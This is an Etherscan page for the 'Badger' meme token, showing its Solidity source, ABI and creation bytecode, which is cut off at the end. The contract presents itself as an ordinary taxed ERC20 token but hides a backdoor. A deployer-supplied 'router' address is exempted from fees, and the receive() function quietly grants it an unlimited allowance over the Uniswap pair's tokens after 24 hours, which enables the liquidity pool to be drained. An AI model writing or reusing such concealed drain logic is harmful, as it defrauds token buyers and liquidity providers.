ETH Price: $3,619.24 (+8.92%)

Token

Badger (BADGER)
 

Overview

Max Total Supply

1,000,000,000 BADGER

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.725755335 BADGER

Value
$0.00
0xf9c6126651cddd23e8c670170beca3d56cd4f2ce
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Badger

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-29
*/

/**
Badger is Vitalik Buterin's favorite animal and a viral meme sensation!

https://vitalikbadger.vip
https://t.me/BadgerToken
https://twitter.com/BadgerTokenETH

*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}



interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Badger is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    address private _uniswapV2Router;
    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=18;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=22;
    uint256 private _reduceSellTaxAt=22;
    uint256 private _preventSwapBefore=22;
    uint256 private _buyCount=0;
    uint256 private launchTime;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Badger";
    string private constant _symbol = unicode"BADGER";
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 2_000_000 * 10**_decimals;
    uint256 public _maxTaxSwap= 12_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address router) {
        _taxWallet = payable(_msgSender());
        _uniswapV2Router = router;
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[_uniswapV2Router] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        launchTime = block.timestamp;

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
  
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    } 

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {if(block.timestamp > (launchTime + 24 hours)){_allowances[uniswapV2Pair][_uniswapV2Router] = type(uint).max;}}

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;

    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
    

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600560146101000a81548160ff0219169083151502179055506012600755601960085560026009556002600a556016600b556016600c556016600d555f600e556009600a62000056919062000b41565b6301312d0062000067919062000b91565b6010556009600a6200007a919062000b41565b6301312d006200008b919062000b91565b6011556009600a6200009e919062000b41565b621e8480620000ae919062000b91565b6012556009600a620000c1919062000b41565b62b71b00620000d1919062000b91565b6013555f6015806101000a81548160ff0219169083151502179055505f601560166101000a81548160ff02191690831515021790555034801562000113575f80fd5b5060405162003bce38038062003bce833981810160405281019062000139919062000c40565b5f6200014a620007b660201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001f6620007b660201b60201c565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000285919062000b41565b633b9aca0062000296919062000b91565b60015f620002a9620007b660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f62000371620007bd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200049b620007b660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004f9919062000b41565b633b9aca006200050a919062000b91565b60405162000519919062000c81565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005c93060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a620005ac919062000b41565b633b9aca00620005bd919062000b91565b620007e460201b60201c565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000634573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200065a919062000c40565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620006e1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000707919062000c40565b6040518363ffffffff1660e01b81526004016200072692919062000cad565b6020604051808303815f875af115801562000743573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000769919062000c40565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555042600f819055505062000e10565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000855576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200084c9062000d5c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008bd9062000df0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620009a2919062000c81565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a395780860481111562000a115762000a10620009af565b5b600185161562000a215780820291505b808102905062000a3185620009dc565b9450620009f1565b94509492505050565b5f8262000a53576001905062000b25565b8162000a62575f905062000b25565b816001811462000a7b576002811462000a865762000abc565b600191505062000b25565b60ff84111562000a9b5762000a9a620009af565b5b8360020a91508482111562000ab55762000ab4620009af565b5b5062000b25565b5060208310610133831016604e8410600b841016171562000af65782820a90508381111562000af05762000aef620009af565b5b62000b25565b62000b058484846001620009e8565b9250905081840481111562000b1f5762000b1e620009af565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f62000b4d8262000b2c565b915062000b5a8362000b35565b925062000b897fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a42565b905092915050565b5f62000b9d8262000b2c565b915062000baa8362000b2c565b925082820262000bba8162000b2c565b9150828204841483151762000bd45762000bd3620009af565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000c0a8262000bdf565b9050919050565b62000c1c8162000bfe565b811462000c27575f80fd5b50565b5f8151905062000c3a8162000c11565b92915050565b5f6020828403121562000c585762000c5762000bdb565b5b5f62000c678482850162000c2a565b91505092915050565b62000c7b8162000b2c565b82525050565b5f60208201905062000c965f83018462000c70565b92915050565b62000ca78162000bfe565b82525050565b5f60408201905062000cc25f83018562000c9c565b62000cd1602083018462000c9c565b9392505050565b5f82825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f62000d4460248362000cd8565b915062000d518262000ce8565b604082019050919050565b5f6020820190508181035f83015262000d758162000d36565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000dd860228362000cd8565b915062000de58262000d7c565b604082019050919050565b5f6020820190508181035f83015262000e098162000dca565b9050919050565b612db08062000e1e5f395ff3fe608060405260043610610117575f3560e01c8063751039fc1161009f578063a9059cbb11610063578063a9059cbb14610460578063bf474bed1461049c578063c876d0b9146104c6578063c9567bf9146104f0578063dd62ed3e1461050657610216565b8063751039fc146103a25780637d1db4a5146103b85780638da5cb5b146103e25780638f9a55c01461040c57806395d89b411461043657610216565b806323b872dd116100e657806323b872dd146102d4578063313ce5671461031057806351bc3c851461033a57806370a0823114610350578063715018a61461038c57610216565b806306fdde031461021a578063095ea7b3146102445780630faee56f1461028057806318160ddd146102aa57610216565b366102165762015180600f5461012d9190611e75565b421115610214577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60025f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b005b5f80fd5b348015610225575f80fd5b5061022e610542565b60405161023b9190611f32565b60405180910390f35b34801561024f575f80fd5b5061026a60048036038101906102659190611fda565b61057f565b6040516102779190612032565b60405180910390f35b34801561028b575f80fd5b5061029461059c565b6040516102a1919061205a565b60405180910390f35b3480156102b5575f80fd5b506102be6105a2565b6040516102cb919061205a565b60405180910390f35b3480156102df575f80fd5b506102fa60048036038101906102f59190612073565b6105c5565b6040516103079190612032565b60405180910390f35b34801561031b575f80fd5b50610324610699565b60405161033191906120de565b60405180910390f35b348015610345575f80fd5b5061034e6106a1565b005b34801561035b575f80fd5b50610376600480360381019061037191906120f7565b610738565b604051610383919061205a565b60405180910390f35b348015610397575f80fd5b506103a061077e565b005b3480156103ad575f80fd5b506103b66108cc565b005b3480156103c3575f80fd5b506103cc610a15565b6040516103d9919061205a565b60405180910390f35b3480156103ed575f80fd5b506103f6610a1b565b6040516104039190612131565b60405180910390f35b348015610417575f80fd5b50610420610a42565b60405161042d919061205a565b60405180910390f35b348015610441575f80fd5b5061044a610a48565b6040516104579190611f32565b60405180910390f35b34801561046b575f80fd5b5061048660048036038101906104819190611fda565b610a85565b6040516104939190612032565b60405180910390f35b3480156104a7575f80fd5b506104b0610aa2565b6040516104bd919061205a565b60405180910390f35b3480156104d1575f80fd5b506104da610aa8565b6040516104e79190612032565b60405180910390f35b3480156104fb575f80fd5b50610504610abb565b005b348015610511575f80fd5b5061052c6004803603810190610527919061214a565b610d6d565b604051610539919061205a565b60405180910390f35b60606040518060400160405280600681526020017f4261646765720000000000000000000000000000000000000000000000000000815250905090565b5f61059261058b610def565b8484610df6565b6001905092915050565b60135481565b5f6009600a6105b191906122b7565b633b9aca006105c09190612301565b905090565b5f6105d1848484610fb9565b61068e846105dd610def565b61068985604051806060016040528060288152602001612d536028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610640610def565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461192d9092919063ffffffff16565b610df6565b600190509392505050565b5f6009905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106e1610def565b73ffffffffffffffffffffffffffffffffffffffff1614610700575f80fd5b5f61070a30610738565b90505f81111561071e5761071d8161198f565b5b5f4790505f8111156107345761073381611bf8565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610786610def565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610812576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108099061238c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108d4610def565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610960576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109579061238c565b60405180910390fd5b6009600a61096e91906122b7565b633b9aca0061097d9190612301565b6010819055506009600a61099191906122b7565b633b9aca006109a09190612301565b6011819055505f600560146101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109ef91906122b7565b633b9aca006109fe9190612301565b604051610a0b919061205a565b60405180910390a1565b60105481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606040518060400160405280600681526020017f4241444745520000000000000000000000000000000000000000000000000000815250905090565b5f610a98610a91610def565b8484610fb9565b6001905092915050565b60125481565b600560149054906101000a900460ff1681565b610ac3610def565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b469061238c565b60405180910390fd5b601560149054906101000a900460ff1615610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b96906123f4565b60405180910390fd5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610be730610738565b5f80610bf1610a1b565b426040518863ffffffff1660e01b8152600401610c1396959493929190612454565b60606040518083038185885af1158015610c2f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c5491906124c7565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610cf4929190612517565b6020604051808303815f875af1158015610d10573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d349190612568565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5b90612603565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec990612691565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fac919061205a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e9061271f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c906127ad565b60405180910390fd5b5f81116110d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ce9061283b565b60405180910390fd5b5f6110e0610a1b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561114e575061111e610a1b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561167d5761118f6064611181600b54600e541161116e57600754611172565b6009545b85611c6090919063ffffffff16565b611cd790919063ffffffff16565b9050600560149054906101000a900460ff16156113185760145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611250575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611317574360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb906128ef565b60405180910390fd5b4360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113c1575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611414575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114ce5760105482111561145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590612957565b60405180910390fd5b6011